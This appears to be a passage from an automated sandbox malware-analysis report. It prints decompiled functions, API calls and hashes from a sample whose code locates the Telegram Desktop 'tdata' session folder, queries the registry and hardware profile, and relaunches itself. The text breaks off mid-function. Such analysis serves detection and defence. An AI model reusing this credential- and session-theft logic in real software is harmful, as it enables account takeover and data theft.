Download Yara Rule

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 00474C00
InternetCrackUrlA.WININET(?,00000000), ref: 00474C0B

Strings

http, xrefs: 00474C1C
<, xrefs: 00474BDF
@, xrefs: 00474BEC

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction ID: b2e7e350a420ead480510540f00fd9da9ba2fa915cc906fb62f75dd7238b3fec
Opcode Fuzzy Hash: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction Fuzzy Hash: CBF0AFB5901208ABDB14EFA5EC85BED77BCAB44344F008519FA18AA150DB78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 00481D80, Relevance: 7.7, APIs: 5, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00481DF4

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction ID: c83f022ff4f3d1afeca4d18669aa7c020862a5a4e9d0c26f3d5e40be5cad5be6
Opcode Fuzzy Hash: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction Fuzzy Hash: 4061FFB4A00249DFDB14DF54C544BAEB7F5BB04314F208A5AE905AB391C774EE42CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00407230, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00407230(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				long _v80;
				void* _v84;
				int _v88;
				char _v5092;
				void* _t58;
				void* _t94;

				E004139B0(0x13e0, __ecx);
				if(_a8 < 3) {
					L10:
					return E00407190(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x4191a0;
				}
				memset( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x41aa60(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x4191a0;
				}
				E0040B720( &_v5092, 0x1388);
				 *0x41aa24( &_v5092, _v84);
				 *((char*)(_t94 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00407238
0x00407243
0x00407364
0x00000000
0x00407371
0x00407258
0x0040725a
0x00000000
0x00000000
0x00407274
0x00000000
0x0040735b
0x00407282
0x0040728a
0x00407291
0x0040729e
0x004072a1
0x004072b2
0x004072b5
0x004072c8
0x004072d1
0x004072d7
0x004072de
0x00000000
0x00407359
0x004072e0
0x00407312
0x00407319
0x00000000
0x00407352
0x00407327
0x00407337
0x00407340
0x00000000

APIs

memset.MSVCRT ref: 00407282
LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
lstrcat.KERNEL32(?,00000000), ref: 00407337

Strings

@, xrefs: 0040728A
v10, xrefs: 0040724E

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction ID: 61f64e7557948a46b50732eb2c11968d7e6d1a4f1abee3a4cf4d88c7128a29d2
Opcode Fuzzy Hash: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction Fuzzy Hash: D24150B1E04208EBEB14CFD4D884BDEB7B4FF48344F048169F905AB284D778AA45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00477480, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004774D2
LocalAlloc.KERNEL32(00000040,?), ref: 00477521
lstrcat.KERNEL32(?,00000000), ref: 00477587

Strings

v10, xrefs: 0047749E
@, xrefs: 004774DA

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction ID: 1776a9d8d3f5c92b2a51e71dd60cc05c02f67262933df54e4c2cb887fe6e7f97
Opcode Fuzzy Hash: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction Fuzzy Hash: 32415B71A04208EBDB14CFD8D844BEEBBB4BF48344F50C11AF509AB680D778AA45CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEB0, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040BEB0(char* _a4, char* _a8, intOrPtr _a12) {
				char* _v8;
				char* _v12;
				char* _v16;
				char _v17;
				intOrPtr _v24;

				_v8 = StrStrA(_a4, _a8);
				if(_v8 != 0) {
					 *0x41a994("C:\Users\jones\AppData\Roaming\Telegram Desktop\tdata\", _a4, _v8 - _a4);
					 *(_v8 - _a4 + 0x41ac88) = 0;
					_v12 = _a8;
					_v16 =  &(_v12[1]);
					do {
						_v17 =  *_v12;
						_v12 =  &(_v12[1]);
					} while (_v17 != 0);
					_v24 = _v12 - _v16;
					wsprintfA(_v8 - _a4 + 0x41ac88, "%s%s", _a12, _v8 + _v24);
					return 0x41ac88;
				}
				return _a4;
			}

0x0040bec4
0x0040becb
0x0040bee2
0x0040beee
0x0040bef8
0x0040bf01
0x0040bf04
0x0040bf09
0x0040bf0c
0x0040bf10
0x0040bf1c
0x0040bf3b
0x00000000
0x0040bf44
0x00000000

APIs

StrStrA.SHLWAPI(006760F8,?,?,004061B1,?,006760F8,00000000), ref: 0040BEBE
lstrcpyn.KERNEL32(C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\,006760F8,006760F8,?,004061B1,?,006760F8), ref: 0040BEE2
wsprintfA.USER32 ref: 0040BF3B

Strings

C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\, xrefs: 0040BEDD, 0040BF35, 0040BF44
%s%s, xrefs: 0040BF2A

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: %s%s$C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\
API String ID: 1799455324-67511213
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 9d0df258c1970b53338195e9cfc72265299fee085df88f93dfbf2dd1b14f7860
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 3A21F975901108FFDF05DFACC984AEEBBB4EF48344F108199E909A7341D735AA90CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0047C100, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0041A574,?,?,00475E47,?,0041A574,00000000), ref: 0047C10E
lstrcpyn.KERNEL32(0041AC88,0041A574,0041A574,?,00475E47,?,0041A574), ref: 0047C132
wsprintfA.USER32 ref: 0047C18B

Strings

G^G, xrefs: 0047C176, 0047C179
C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\, xrefs: 0047C12D, 0047C185, 0047C194

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\$G^G
API String ID: 1799455324-364938103
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: b3ca05b88c1a23510d9debe7e65c924f12b8c4770fdd3d8f1801628cfb3de417
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 8E21F975901148FFDF05DFACD984AEEBBB4EF48344F10C199E809A7341D635AA90CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5C0, Relevance: 7.6, APIs: 5, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040B5C0(void* __eflags, char* _a4) {
				int _v8;
				int _v12;
				int _v16;
				void* _t50;

				_t50 = __eflags;
				_v12 = MultiByteToWideChar(0, 0, _a4,  *0x41a908(0), _a4, 0);
				_v16 = E0040B590( ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002,  ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002);
				_v8 = _v16;
				MultiByteToWideChar(0, 0, _a4,  *0x41a908(_v12), _a4, _v8);
				 *((short*)(_v8 + _v12 * 2)) = 0;
				return _v8;
			}

0x0040b5c0
0x0040b5e3
0x0040b605
0x0040b60b
0x0040b629
0x0040b637
0x0040b641

APIs

lstrlen.KERNEL32(00000080,00000000,00000000,00000002,00000080,00000000), ref: 0040B5CE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B5DD
new[].LIBCMTD ref: 0040B5FD
lstrlen.KERNEL32(?,?,?), ref: 0040B61A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B629

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: 9334197e3b0a60478884826bbc964b22f0ad8ab59abc14db56de3517539ab197
Instruction ID: 4e01539bb3d2c282a73af516c558e114f3eec2120aea2764bae626352bcff954
Opcode Fuzzy Hash: 9334197e3b0a60478884826bbc964b22f0ad8ab59abc14db56de3517539ab197
Instruction Fuzzy Hash: 000104B5A01108BFDB44DFA8DD46F9E7BB8EF4C304F108158F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0047B810, Relevance: 7.6, APIs: 5, Instructions: 50stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000003,00000000,00000000,?), ref: 0047B81E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0047B82D
new[].LIBCMTD ref: 0047B84D
lstrlen.KERNEL32(?,?,?), ref: 0047B86A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0047B879

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction ID: 02d6600b718f643e18883a11bc40106d51563df058dc8d6a0d6f2cc1fee31ebd
Opcode Fuzzy Hash: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction Fuzzy Hash: 4E0144B5A01108BFDB04DFA8DC46FDEBBB8EF4C300F108058F509DB290D670AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0047B490, Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0047B4A4
RtlAllocateHeap.NTDLL(00000000), ref: 0047B4AB
RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,00475CA8), ref: 0047B4CB
RegQueryValueExA.ADVAPI32(00475CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0047B4EC
RegCloseKey.ADVAPI32(00475CA8), ref: 0047B4F6

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 248474294235487b2946b268f9a5382cd32aadd86e45ba7bed98469aaa2156e1
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: F7014FB5A41208BFDB00DFE0DD49FEEB7B8EB48700F008568FA05A7291D7746A50CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0047B1D0, Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0047B1E4
RtlAllocateHeap.NTDLL(00000000), ref: 0047B1EB
RegOpenKeyExA.ADVAPI32(80000002,0041A1A0,00000000,00020119,00475AF9), ref: 0047B20B
RegQueryValueExA.ADVAPI32(00475AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0047B22C
RegCloseKey.ADVAPI32(00475AF9), ref: 0047B236

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 6f84bd45db3fcfeb4c88c7f5a3ed57598d90a56bad8d58e8430c6755e1827bd5
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 280144B5A41208BFD700DBD0DD49FEEB778EB48700F008565FA0597291D6745950CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0047B510, Relevance: 7.5, APIs: 5, Instructions: 30memorystringCOMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0047B51D
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0047B52B
RtlAllocateHeap.NTDLL(00000000), ref: 0047B532
memset.NTDLL ref: 0047B549
lstrcat.KERNEL32(?,?), ref: 0047B55A

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 6fc897dbc9e177cc4d99ad3347f5148fc347d87e8b16685ea95d6b228fc97a87
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 8BF05E70A01209ABEB20ABA4DE09BDA77B8FB08745F00C1A5F709D7290DB359951CF56

Uniqueness

Uniqueness Score: -1.00%

Function 004312E4, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00431525
__aulldiv.LIBCMT ref: 00431547

Strings

9, xrefs: 00431558
0, xrefs: 00431313

Memory Dump Source

Source File: 00000015.00000002.837440802.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_42e000_DDEE.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 0$9
API String ID: 3839614884-1975997740
Opcode ID: 04d135656b7d49bf607a68af1b2f39d1503d677b5a8f08064765f4239cbc7e67
Instruction ID: 9185d818e615c6ec1a37c9ca8d215071c744edea3db6c2a31c1d855fdb48461d
Opcode Fuzzy Hash: 04d135656b7d49bf607a68af1b2f39d1503d677b5a8f08064765f4239cbc7e67
Instruction Fuzzy Hash: 3541F271D05229DFEB24CF48C889BAEB7B5BB58304F2091DAD449A7250C7389E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 004124F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004124F0(intOrPtr __ecx, void* _a4, char _a8) {
				int _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x84)) == 0) {
					if( *(_v20 + 0x7c) == 0) {
						 *((intOrPtr*)(_v20 + 0x14)) = 0x1000000;
						return 0;
					}
					_t42 =  &_v16; // 0x412876
					_t43 =  &_a8; // 0x412876
					_v12 = ReadFile( *(_v20 + 0x7c), _a4,  *_t43, _t42, 0);
					if(_v12 != 0) {
						_t51 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) +  *_t51;
						_t54 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4,  *_t54);
						_t60 =  &_v16; // 0x412876
						return  *_t60;
					}
					return 0;
				}
				if( *((intOrPtr*)(_v20 + 0x8c)) <  *((intOrPtr*)(_v20 + 0x88))) {
					_v8 =  *((intOrPtr*)(_v20 + 0x88)) -  *((intOrPtr*)(_v20 + 0x8c));
					_t14 =  &_a8; // 0x412876
					if(_v8 >  *_t14) {
						_t15 =  &_a8; // 0x412876
						_v8 =  *_t15;
					}
					memcpy(_a4,  *((intOrPtr*)(_v20 + 0x84)) +  *((intOrPtr*)(_v20 + 0x8c)), _v8);
					 *((intOrPtr*)(_v20 + 0x8c)) =  *((intOrPtr*)(_v20 + 0x8c)) + _v8;
					 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) + _v8;
					 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4, _v8);
					return _v8;
				}
				return 0;
			}

0x004124f6
0x00412503
0x004125b7
0x00412617
0x00000000
0x0041261e
0x004125bb
0x004125bf
0x004125d4
0x004125db
0x004125e7
0x004125ed
0x004125f0
0x0041260a
0x0041260d
0x00000000
0x0041260d
0x00000000
0x004125dd
0x0041251b
0x00412536
0x0041253c
0x0041253f
0x00412541
0x00412544
0x00412544
0x00412562
0x00412577
0x00412589
0x004125a6
0x00000000
0x004125a9
0x00000000

APIs

memcpy.NTDLL(?,?,00004000,?,00412876,?,00004000), ref: 00412562
ReadFile.KERNEL32(00000000,?,v(A,v(A,00000000,?,00412876,?,00004000), ref: 004125CE

Strings

v(A, xrefs: 004125BF, 0041253C, 00412541, 004125C2
v(A, xrefs: 004125BB, 004125E7, 004125F0, 0041260D, 004125BE, 004125F3

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: FileReadmemcpy
String ID: v(A$v(A
API String ID: 1163090680-3205644266
Opcode ID: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction ID: 57ccbe00efff64c7029569c4514cc3a27c1a1315352579a716a79c0d7299f08d
Opcode Fuzzy Hash: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction Fuzzy Hash: 5641BAB5A00119EFCB44CF94C980EEEB7B6BF48304F108569E429D7351D735E951DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0047C1F0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0047C229
wsprintfA.USER32 ref: 0047C244
ShellExecuteEx.SHELL32(0000003C), ref: 0047C2A3

Strings

<, xrefs: 0047C25A

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction ID: 15070e31b4e34ad91bd7de662d5035937c36e86f84e5642cc25b12787652620f
Opcode Fuzzy Hash: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction Fuzzy Hash: 04211FF1900208ABDB54EFA0DC89FDE77B8AB44704F00855AF718A6191DBB95688CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004120F0, Relevance: 6.1, APIs: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120F0(intOrPtr __ecx, void* _a4, long _a8) {
				long _v8;
				intOrPtr _v12;
				struct _FILETIME _v20;
				signed short _v24;
				signed short _v28;
				struct _SYSTEMTIME _v44;
				intOrPtr _v48;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t115;
				intOrPtr _t117;
				long _t130;
				intOrPtr _t131;
				intOrPtr _t132;

				_v48 = __ecx;
				 *(_v48 + 0x7c) = 0;
				 *(_v48 + 0x84) = 0;
				 *((char*)(_v48 + 0x80)) = 0;
				 *(_v48 + 0x78) = 0;
				 *(_v48 + 0x70) = 0;
				 *(_v48 + 0x90) = 0;
				 *(_v48 + 0x74) = 0;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					return 0x10000;
				} else {
					_v8 = SetFilePointer( *(_v48 + 4), 0, 0, 1);
					if(_v8 == 0xffffffff) {
						 *((intOrPtr*)(_v48 + 0x4c)) = 0x80000000;
						 *(_v48 + 0x70) = 0xffffffff;
						if(_a8 != 0) {
							 *(_v48 + 0x70) = _a8;
						}
						 *((char*)(_v48 + 0x6c)) = 0;
						GetLocalTime( &_v44);
						SystemTimeToFileTime( &_v44,  &_v20);
						_t130 = _v20.dwLowDateTime;
						E00411670(_t130, _v20.dwHighDateTime,  &_v28,  &_v24);
						_t88 = E00411630(_v20.dwLowDateTime, _v20.dwHighDateTime);
						_t115 = _v48;
						 *((intOrPtr*)(_t115 + 0x50)) = _t88;
						 *(_t115 + 0x54) = _t130;
						_t131 = _v48;
						_t89 = _v48;
						 *((intOrPtr*)(_t131 + 0x58)) =  *((intOrPtr*)(_t89 + 0x50));
						 *((intOrPtr*)(_t131 + 0x5c)) =  *((intOrPtr*)(_t89 + 0x54));
						_t117 = _v48;
						_t132 = _v48;
						 *((intOrPtr*)(_t117 + 0x60)) =  *((intOrPtr*)(_t132 + 0x50));
						 *((intOrPtr*)(_t117 + 0x64)) =  *((intOrPtr*)(_t132 + 0x54));
						 *(_v48 + 0x68) = _v24 & 0x0000ffff | (_v28 & 0x0000ffff) << 0x00000010;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					_v12 = E00411720(_a4, _v48 + 0x4c, _v48 + 0x70, _v48 + 0x50, _v48 + 0x68);
					if(_v12 == 0) {
						SetFilePointer(_a4, 0, 0, 0);
						 *((char*)(_v48 + 0x6c)) = 1;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					return _v12;
				}
			}

0x004120f6
0x004120fc
0x00412106
0x00412113
0x0041211d
0x00412127
0x00412131
0x0041213e
0x00412149
0x00000000
0x0041215b
0x0041216e
0x00412175
0x004121df
0x004121e9
0x004121f4
0x004121fc
0x004121fc
0x00412202
0x0041220a
0x00412218
0x0041222a
0x0041222e
0x0041223e
0x00412246
0x00412249
0x0041224c
0x0041224f
0x00412252
0x00412258
0x0041225e
0x00412261
0x00412264
0x0041226a
0x00412270
0x00412283
0x0041228c
0x00000000
0x0041228f
0x0041219f
0x004121a6
0x004121ba
0x004121c3
0x004121cd
0x00000000
0x004121d0
0x00000000
0x004121a8

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00412ADE,?,?), ref: 00412168
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00412ADE), ref: 004121BA

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 73fee1c067eb70601bd9df8ab8ea40709189a789a85f05da52033877ad893135
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 4A51D7749002099FDB04DFA8C484BDEBBB5BB4C304F14C15AE925AB391D775A986CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411DB0, Relevance: 6.1, APIs: 4, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411DB0(intOrPtr __ecx, void* _a4, signed int _a8) {
				void* _v8;
				struct _OVERLAPPED* _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				signed char _t101;
				void* _t102;
				intOrPtr _t110;
				intOrPtr _t113;
				intOrPtr _t128;
				intOrPtr _t131;
				void* _t148;

				_v28 = __ecx;
				_v8 = _a4;
				if(( *(_v28 + 0x2d) & 0x000000ff) == 0) {
					L11:
					_t110 = _v28;
					__eflags =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t128 = _v28;
						__eflags =  *((intOrPtr*)(_t128 + 4));
						if( *((intOrPtr*)(_t128 + 4)) == 0) {
							 *((intOrPtr*)(_v28 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						}
						WriteFile( *(_v28 + 4), _v8, _a8,  &_v16, 0);
						return _v16;
					}
					_t131 = _v28;
					_t113 = _v28;
					__eflags =  *((intOrPtr*)(_t131 + 0x24)) + _a8 -  *((intOrPtr*)(_t113 + 0x28));
					if( *((intOrPtr*)(_t131 + 0x24)) + _a8 <  *((intOrPtr*)(_t113 + 0x28))) {
						memcpy( *((intOrPtr*)(_v28 + 0x20)) +  *((intOrPtr*)(_v28 + 0x24)), _v8, _a8);
						 *((intOrPtr*)(_v28 + 0x24)) =  *((intOrPtr*)(_v28 + 0x24)) + _a8;
						return _a8;
					}
					 *((intOrPtr*)(_v28 + 0x14)) = 0x30000;
					return 0;
				}
				if( *(_v28 + 0x3c) != 0 &&  *((intOrPtr*)(_v28 + 0x40)) < _a8) {
					_v20 =  *(_v28 + 0x3c);
					E0040B5B0(_v20);
					_t148 = _t148 + 4;
					 *(_v28 + 0x3c) = 0;
				}
				_t117 = _v28;
				if( *(_v28 + 0x3c) == 0) {
					_t102 = E0040B590(_t117, _a8 << 1);
					_t148 = _t148 + 4;
					_v24 = _t102;
					 *(_v28 + 0x3c) = _v24;
					 *((intOrPtr*)(_v28 + 0x40)) = _a8;
				}
				memcpy( *(_v28 + 0x3c), _a4, _a8);
				_v12 = 0;
				while(1) {
					_t154 = _v12 - _a8;
					if(_v12 >= _a8) {
						break;
					}
					_t101 = E004114E0( *( *(_v28 + 0x3c) + _v12) & 0x000000ff, _t154, _v28 + 0x30,  *( *(_v28 + 0x3c) + _v12) & 0x000000ff);
					_t148 = _t148 + 8;
					 *( *(_v28 + 0x3c) + _v12) = _t101;
					_v12 =  &(_v12->Internal);
				}
				_v8 =  *(_v28 + 0x3c);
